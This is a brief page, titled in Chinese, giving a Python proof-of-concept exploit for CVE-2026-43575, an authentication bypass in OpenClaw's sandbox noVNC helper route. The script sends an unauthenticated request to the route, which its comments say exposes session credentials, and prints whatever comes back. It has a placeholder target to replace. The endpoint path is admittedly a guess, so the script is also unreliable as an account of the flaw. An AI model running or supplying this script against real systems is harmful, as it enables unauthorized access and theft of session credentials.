CVE-2026-43575 OpenClaw认证绕过漏洞

import requests def exploit_openclaw(target_url): """ PoC for CVE-2026-43575: Authentication Bypass in OpenClaw noVNC Helper Route. This script attempts to access the sandbox noVNC helper route without authentication. """ # The vulnerable endpoint might be something like /sandbox/novnc_helper # Based on the description, this route exposes session credentials. endpoint = f"{target_url}/sandbox/novnc_helper" try: # Send a GET request without authentication headers response = requests.get(endpoint, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Authentication bypassed.") print("[+] Response content:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target exploit_openclaw(target)